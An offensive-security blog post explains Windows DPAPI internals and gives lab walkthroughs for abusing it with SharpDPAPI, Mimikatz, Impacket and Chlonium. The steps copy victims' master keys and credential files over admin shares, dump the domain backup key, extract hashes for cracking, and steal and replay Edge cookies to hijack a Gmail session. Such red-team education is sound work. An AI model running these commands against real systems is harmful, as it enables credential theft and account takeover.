Windows - Data Protection API (DPAPI)

22 January 2024
Claudio Contin

Introduction

The Windows Data Protection API, typically referred as DPAPI, is the built-in Windows way to encrypt and decrypt data.
In this post we will explore how the DPAPI works, and how, as offensive security professionals, we can abuse in several different scenarios, such as decrypting secrets, obtaining a victim's browser cookies and take over their sessions, etc.

As developer

The DPAPI was designed to be simple and intuitive, without the need of implementing custom encryption algorithms.

The API is defined in the following DLL: CRYPT32.DLL. When a developer needs to use it, they simply need to import the dpapi.h header file (if developing in C/C++).

The two main functions for encrypting and decrypting data are:

  • CryptProtectData
  • CryptUnProtectData

The CryptProtectData function takes the data to be encrypted as one of the parameters, and returns a blob of data, which includes the encrypted data, as well as other data related to the state key, etc. (we will cover these concepts later in this post).
The CryptUnprotectData function simply takes the encrypted blob as one of the parameters, and returns the original unencrypted data, if no errors occur.

The DPAPI also includes three more functions:

  • CryptProtectMemory
  • CryptUnprotectMemory
  • CryptUpdateProtectedState

The CryptProtectMemory and CryptUnprotectMemory can be used to encrypt data within a process memory space, to avoid leaving potential sensitive data unencrypted within a process memory space.

The CryptUpdateProtectedState can be used to preserve encrypted data after a user is moved from one domain to another.

Below is an example of a simple C# program that shows how to encrypt or decrypt a string in using the .NET Framework and the DPAPI (we will cover the entropy later in this post).

How does DPAPI work?

As offensive security professionals, it is important to understand how the API actually works, in order to clearly understand how it can become useful to us depending on the scenario.

Keys

When referring to the DPAPI internals, there are several different keys involved.

Session Keys

The Session Key is the real symmetric key that is used to encrypt and decrypt data. Note that this key is not actually stored anywhere.

Master Keys

A Master Key, often also referred as Strong Key, is never directly used for encryption, but is used to derive a session key, depending in which context is used. It is set per account: user or machine.
Master Keys are stored in the Local Security Authority Subsystem Service process (LSASS) unencrypted.
Master Keys all expire in 3 months. The reason is to prevent an attacker compromising a single Master Key being able to access all the victim's protected data. The DPAPI does not delete the expired keys. The Master Keys are kept forever in the user's profile folder.
The image below illustrates on a Master Key, together with some additional data (we will cover this later in the post), is used to derive the symmetric key for encryption purposes.

The Master Key itself is protected by the "additional data". In order to be able to decrypt the key of a user, for example, an attacker would need to know the user's credentials. Note that the "additional data" required really depends on the context, user versus machine account, domain user versus local user, etc. We will explore all the various cases in this post.

Context

Local user

In case of local users, the SHA1 of the user password is calculated. Then, the Password-Based Key Derivation Function (PBKDF2) is used together with the password hash (SHA1) and 16 random bytes as salt. This function is called several times, based on the iteration count (based on the registry key HKEY_LOCAL_MACHINE/Software/Microsoft/Cryptography/Protect/Providers/%GUID%) and a key is derived. This key is then used to decrypt the Master Key and obtain the Session Key (or Symmetric Key) for decryption or encryption.

The key material for users is stored under the following path: C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect

All the files located under this path are hidden by default. To view them, using the Command Prompt for example, run the following from within the folder: dir /a

When the user changes their credentials, the DPAPI hooks into the password changing module and all the Master Keys are re-encrypted using the new password. The system also keeps a CREDHIST file (Credentials History): the old password gets added to the top of this file and then the file is encrypted by the new password. In case the DPAPI is unable to decrypt a Master Key using the user current password, the DPAPI will use the current password to decrypt the CREDHIST file and try the old password to decrypt the Master Key. If this fails, the old password is used to again decrypt the same file and the next previous password is used to try to decrypt the Master Key, and so on.

The Master Keys for the user are located under: C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\[SID]

The Preferred file located under this path is used to keep track of the most recent Master Key.

Domain user

The location of the key material is the exact same one of local users: C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect

The main significant difference between local and domain users is that in the case of domain users, the system does not keep track of the user credentials (CREDHIST file).

The Domain Controller (DC) keeps an RSA private and public keys (Backup Key), which are unique per domain, and cannot be updated or changed using built-in Microsoft tools. When a new Master Key is generated for a user, the current user NT hash is used to protect the key. Also, the DPAPI (on the same system/host), grabs the DC RSA public key, and the Master Key is encrypted with the RSA public key. Note that the DC public key gets stored under the Master Key path for the user, so the host does not have to grab it every time a new Master Key is generated (BK-windomain file name). This way, if the user forgets their credentials, the DPAPI is able to deliver the Master Key to the DC. The DC will use its relative RSA private key to decrypt it, and send it back to the requesting host.

Local machine and machine services

In the case of local machine, the key material path is: C:\Windows\System32\Microsoft\Protect\S-1-5-18

In the case of system users, such as local service, network service, etc., the key material path is: C:\Windows\System32\Microsoft\Protect\S-1-5-18\User

The Master Keys for these accounts are not protected by any password, but by the DPAPI_SYSTEM LSA Secret which is stored in the registry under HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. This secret is itself encrypted using the LsaKey which is derived from the BootKey (or SysKey). The BootKey is stored in the Windows SYSTEM registry hive.

The DPAPI_SYSTEM is only available to the local SYSTEM account.

Note that in case of domain joined machines, none of the actual machine or machine accounts Master Keys are encrypted with the domain Backup Key. The domain Backup Key is only applicable to actual domain users.

Abuse cases

Local user

  • Access to the host as the victim - You can run a tool such as SharpDPAPI to decrypt secrets, or write your own program to programmatically use the DPAPI as the victim and decrypt data.
  • Access to victim's Master Keys and victim's password - In the case you have access to the victim's Master Keys and their password, you can grab the keys and perform decryption offline.
  • Access to the victim's host as SYSTEM - You can search for unencrypted Master Keys in LSASS.
  • Access to the victim's CREDHIST or Master Keys - You can attempt brute-forcing the victim's password.

Domain user

  • Access to the host as the victim - You can run a tool such as SharpDPAPI to decrypt secrets, or write your own program to programmatically use the DPAPI as the victim and decrypt data.
  • Access to victim's Master Keys and victim's NTLM hash of their password - You can grab the keys and perform decryption offline.
  • Access to the victim's host as SYSTEM - You can search for unencrypted Master Keys in LSASS.
  • Access to the domain as Domain Admin and access to the victim's Master Keys - You can obtain the DPAPI backup key and decrypt the keys.

Machine accounts

  • Access to the host as the victim's account - You can run a tool such as SharpDPAPI to decrypt secrets, or write your own program to programmatically use the DPAPI as the victim and decrypt data.
  • Access to the host as SYSTEM - Grab the DPAPI_SYSTEM secret and decrypt the Master Keys offline or you can search for unencrypted Master Keys in LSASS.

Practical examples

For all the examples, we have allow-listed the C:\dpapi folder in Windows Defender, as this post is unrelated to Defender bypasses.

Also, for all the encrypted strings, the resulting encrypted blobs have been all base64 encoded when stored on disk. This is not always the case, but keep it in mind while following through. The same attacks can be performed even for non base64 encoded blobs, by passing different options. One, for example, is the /target option of the SharpDPAPI tool: the option either takes a base64 encrypted blob, like in the following example, or the path to the encrypted blob file in binary format.

Access to the victim's host and their password

In this example, the victim's account name is ch1, and the user has stored a secret in the folder C:\dpapi\ch1\secret. Let's assume we have obtained the victim's password and code execution access to the victim's workstation. One of the options we have is to use the SharpDPAPI tool (see the references section at the end of the post) to decrypt the secret and obtain its original version.

The first step is to decrypt the Master Keys (note we could also copy the Master Keys to a remote host and perform the decryption offline):
SharpDPAPI.exe masterkeys /password:ch1

The result {b67db564-5d7b-4cb5-abd7-da1558a71f15}:A1161A8FD46153455A89B00428A341C9664E6632 shows that only a single Master Key exists for this user on this host and its GUID identifier is {b67db564-5d7b-4cb5-abd7-da1558a71f15}. The A1161A8FD46153455A89B00428A341C9664E6632 is the actual decrypted key that will be then used by the DPAPI to derive the symmetric key and perform decryption.
Now that we have the necessary key, we can perform the decryption of the secret. Note that the below command does not need to be run on the same host as the victim. Once the key is obtained and we posses the base64 blob of the encrypted value, we can run this on any hosts we control:
SharpDPAPI.exe blob /target:AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAZLV9tntdtUyr19oVWKcf...truncated for brevity...== "{b67db564-5d7b-4cb5-abd7-da1558a71f15}:A1161A8FD46153455A89B00428A341C9664E6632"

Access to the victim's host but not their password

Let's assume we have obtained code execution as the victim on their host, but we are unaware of their password. In this instance, since the DPAPI will take care of decrypting the master key using the current credentials, we can simply decrypt the value without needing their password. First, we obtain the secret we want to decrypt (its base64 format in this case):
type ch2\secret

Then, we can pass it to SharpDPAPI. Note that in this example, we need to run this on the same host where the secret is stored, as we do not posses the user credentials or the domain backup key.
SharpDPAPI.exe blob /unprotect /target:AQAAANCMnd8BFdERj...truncated for brevity...==

Access to the victim's Master Keys and their password

Let's assume we are able to obtain the victim's Master Key(s) and we have the victim's password and the encrypted secret value.

We can start copying the Master Key(s) to our own host. In this case 192.168.10.189 is the victim's (ch3) host and the user SID is S-1-5-21-900647349-2485081872-3658626890-1145:
xcopy /h /s /e \\192.168.10.189\c$\Users\ch3\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1145\* .

After, we can use the victim's password (ch3 in this case) to decrypt the Master Key(s):
SharpDPAPI.exe masterkeys /target:"\dpapi\ch3" /password:ch3 /sid:S-1-5-21-900647349-2485081872-3658626890-1145

As usual, we can proceed to decrypting the secret:
SharpDPAPI.exe blob /target:AQAAANCMnd8BFdERjHo...truncated for brevity...== {c5ed24b1-bf01-47b9-98ba-0534d9ccbd5b}:F6B9E8796F1EDAD541034E9B565D41A19DEED303

Access to the victim's Master Keys, their password and the Windows Credentials

Let's assume we are able to obtain the victim's Master Key(s), we have the victim's password and the Windows Credentials files.
The Windows Credentials are encrypted using the DPAPI and the encrypted Credentials are stored in this location: C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Credentials\[CREDENTIAL_ID].

We can start copying the Master Key(s) and Credentials (with ID FE7336B5C5351F1954FF0D19AA4478E7 in this case) to our own host. In this case 192.168.10.189 is the victim's (ch4) host and the user SID is S-1-5-21-900647349-2485081872-3658626890-1146:
xcopy /h /s /e \\192.168.10.189\c$\Users\ch4\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1146\* .
xcopy /h /s /e \\192.168.10.189\c$\Users\ch4\AppData\Roaming\Microsoft\Credentials\FE7336B5C5351F1954FF0D19AA4478E7 .

After, we can use the victim's password (ch4 in this case) to decrypt the Master Key(s):
SharpDPAPI.exe masterkeys /target:ch4 /password:ch4 /sid:S-1-5-21-900647349-2485081872-3658626890-1146

And finally, we can decrypt the Windows Credential using the obtained Master Key:
SharpDPAPI.exe credentials /target:ch4\FE7336B5C5351F1954FF0D19AA4478E7 {60746c05-3e88-4bb3-89cc-bbd48194ac6b}:357AAEF4CD77729E3DC7608D7877B4C3D7DF4986

For this example, we will also show how to accomplish the same result using Impacket (see the references section at the bottom of this post). We are going to copy the ch4 folder with the Master Key(s) and the Windows Credential over to an Ubuntu host with Impacket installed. Then, from within the folder where the files are located, we decrypt the Master Key (-file option) and then we use the key (-key option) to decrypt the Credentials:
impacket.dpapi masterkey -file "60746c05-3e88-4bb3-89cc-bbd48194ac6b" -sid S-1-5-21-900647349-2485081872-3658626890-1146 -password ch4 impacket.dpapi credential -file FE7336B5C5351F1954FF0D19AA4478E7 -key 0x21b604df1fce4379fb6ae96bc92a63846727b06f45d63eed48ea9508ec56da366ad0fe2c407544c3a3a1dba50b7a6b5d84ab5c37ec309f94f9d217d0bbd3924f

Access to the victim's Master Keys only

In this scenario, let's pretend we only have access to the victim's Master Key(s), but not to their password and not to their host. One option is to attempt cracking the user credentials using Hashcat or John the Ripper password cracker. As usual, we copy the Master Key(s) to our controlled host:
xcopy /h /s /e \\192.168.10.189\c$\Users\ch5\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1147\*

Then, we run the following:
SharpDPAPI.exe masterkeys /hashes /target:ch5 /sid:S-1-5-21-560205506-1775231562-540620640-1124

While I was digging into the various DPAPI options, a small bug in SharpDPAPI was identified when using the /hashes option. I wrote a patch which has been already merged to the main branch.

The result will include the preferred Master Key GUID and the key. Ensure to only leave the $DPAPImk$1*3*S-... when trying to crack it with Hashcat or John.
{6071e253-894d-46bd-9349-ea853ce80087}:$DPAPImk$1*3*S-1-5-21-560205506-1775231562-540620640-1124*des3*sha1*18000*5b81a46262d774ce28bb87ff929954b4*208*bd1f14dc02d31e...

Access to the victim's Master Keys and domain Backup Key

Let's assume we have compromised the domain and we are able to obtain the DPAPI Backup Key. In this scenario, we can use the Backup Key to decrypt a domain user (victim) Master Key(s) and decrypt their secret. We can start by dumping the domain Backup Key. For this, we can use SharpDPAPI, Mimikatz or Impacket. In this case, 192.168.10.206 is the IP of the Domain Controller, and the domain is teeone:
SharpDPAPI.exe backupkey /file:key.pvk /server:192.168.10.206
lsadump::backupkeys /system:192.168.10.206 /export
impacket.dpapi backupkeys --export -t teeone/da@192.168.10.206

With the Backup Key in our hands, we can copy it to our controlled host, copy the victim's Master Key(s) and decrypt the secret.
xcopy /h /s /e \\192.168.10.189\c$\Users\ch6\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1148\* .
SharpDPAPI.exe masterkeys /target:"ch6" /sid:S-1-5-21-900647349-2485081872-3658626890-1148 /pvk:key.pvk
SharpDPAPI.exe blob /target:AQAAANCMnd8BFdERjH...truncated for brevity...== {79886e5b-d3e4-429e-9042-f21fc07c33f7}:78D25A734557E92991FBA0F368F8683C574ADCA6

Access to the victim's host, their password and encryption done with entropy

We have mentioned that it is possible to pass an entropy parameter when encrypting data using DPAPI. In all the examples so far, there was no entropy involved. In the case of entropy, as an attacker, we first would need to identify the entropy value. The typical way is to reverse the software that performed the encryption in the first place, to determine if it uses a static entropy or if the entropy is stored somewhere on the system. This is out of scope for the purpose of this post. We pretend we have identified the entropy and we can pass it to our tooling to perform decryption. First, we will decrypt the Master Key for the victim (ch7 in this case, and its password is ch7), and then, we will decrypt the secret passing also the entropy as an option. In this case the entropy was 123456 and we will pass it as bytes 010203040506:
SharpDPAPI.exe masterkeys /password:ch7
SharpDPAPI.exe blob /entropy:010203040506 /target:AQAAANCMnd8BFdERjH...truncated for brevity...== {2454721e-f1cc-4497-ac5f-75260f5db906}:52552BC6302B4B8BEB84D55346D2A72B23F9AB10

The same could have been accomplished by running the following .NET Framework program as the victim's on the victim's host:

Access to the victim's AppData and domain Backup Key

In this scenario we will discover how the DPAPI could allow us to hijack a victim's browser session by stealing their cookies. Chrome and Edge browser, internally, use the DPAPI for encryption. In the case we have access to the victim's workstation, for example via domain compromise that typically result in having access to all the domain hosts, and the domain Backup Key or victim's password, we can decrypt Chrome or Edge cookies and take over their sessions, if they have any active.

The user ch8 has a current authenticated session in Gmail. Our objective for this scenario is to steal the cookies. Also, let's assume we have compromised the domain and obtained the Backup Key already, as described in the Access to the victim's Master Keys and domain Backup Key example above.

With the key, we proceed by copying to our controlled host the relevant files: Master Key(s), Edge Local State and Edge cookie files:
xcopy /h /s /e "\\192.168.10.189\c$\Users\ch8\AppData\Local\Microsoft\Edge\User Data\Local State" .
xcopy /h /s /e "\\192.168.10.189\c$\Users\ch8\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1150\*" .
xcopy /h /s /e "\\192.168.10.189\c$\Users\ch8\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" .

Then, we can use Chlonium (see the references section at the bottom of this post) to decrypt the browser State Key which will then allow us to decrypt the cookies. Edge and Chrome use the State Key to encrypt the data, such as the cookies, and the State Key itself is encrypted using the DPAPI. We click on the Offline Statekey Decryption. For the Password or Backup Key, either insert the victim's password if you have it, or choose the domain Backup Key. For the DPAPI Masterkey Directory choose the folder where you copied the victim's Master Key(s) to. For the Local State File choose the Local State file copied from the victim's Edge data in the AppData path. Finally, click the Decrypt Statekey button.

With the State Key decrypted, click on the Import or Export Database tab of Chlonium. The State Key value should have been prefilled already and then for the Database value choose the Cookies files copied from the victim's Edge data in the AppData path and click Export to Text File. This will generate a file with all the victim's current Edge cookies.

Access to the victim's AppData, domain Backup Key and fully takeover all their browser sessions

In the above example we were able to obtain all the victim's Edge browser cookies. We could simply import all of them into our browser, or we can pretend that on our controlled attacking host, our account has the same Master Key as the victim, the same one used to encrypt the browser's data. To accomplish this, let's start by copying all the AppData\Local\Microsoft\Edge\User Data from the victim's host to our host, in the same location.

Then, we copy the victim's Master Key(s) to our controlled host:
xcopy /h /s /e "\\192.168.10.189\c$\Users\ch8\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1150\*" .

Then, we will find the GUID of the Preferred Master Key of the victim by simply listing the copied files:
dir /a

We now use Mimikatz to decrypt the Master Key using the previously obtained domain Backup Key:
dpapi::masterkey /in:5a27b3ce-3e8b-446d-a455-1a67000bac10 /pvk:key.pvk

Then, using Mimikatz again, we craft a Master Key which will have the same GUID as the victim. Note that for the /password option we need to use our local account password, not the victim's one. Remember to run this not from the same folder where the original Master Key was saved, otherwise Mimikatz will not be able to write the file to disk (because the same GUID and name). If everything is successful, an hidden file should be created:
dpapi::create /guid:{5a27b3ce-3e8b-446d-a455-1a67000bac10} /key:8c4c29f11e2866f272b1d6a52b33d0d1977463db1bd5ae9cf52dbd59382d2f35baf069e7b29bfe835747ae4fad814d83124c38e4ed6ca6fb614d237d3242752d /password:YOUR_LOCAL_ACCOUNT_PASSWORD /protected

Copy the crafted Master Key under our current user expected path, in this case:
xcopy /H 5a27b3ce-3e8b-446d-a455-1a67000bac10 C:\Users\administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-500\

Launch Microsoft Edge, and open https://mail.google.com. You should be logged in as the victim:

References

  • https://threathunterplaybook.com/library/windows/data_protection_api.html
  • https://www.passcape.com/index.php?section=docsys&cmd=details&id=28
  • https://blog.sygnia.co/the-downfall-of-dpapis-top-secret-weapon
  • https://github.com/GhostPack/SharpDPAPI
  • https://github.com/gentilkiwi/mimikatz/
  • https://github.com/fortra/impacket ( https://github.com/fortra/impacket/blob/master/examples/dpapi.py )
  • https://github.com/rxwx/chlonium
  • https://github.com/login-securite/DonPAPI
  • https://github.com/tijldeneut/DPAPIck3
  • https://hashcat.net/hashcat/
  • https://www.openwall.com/john/

Author

Claudio Claudio Contin - Principal Consultant

Contact

Get in touch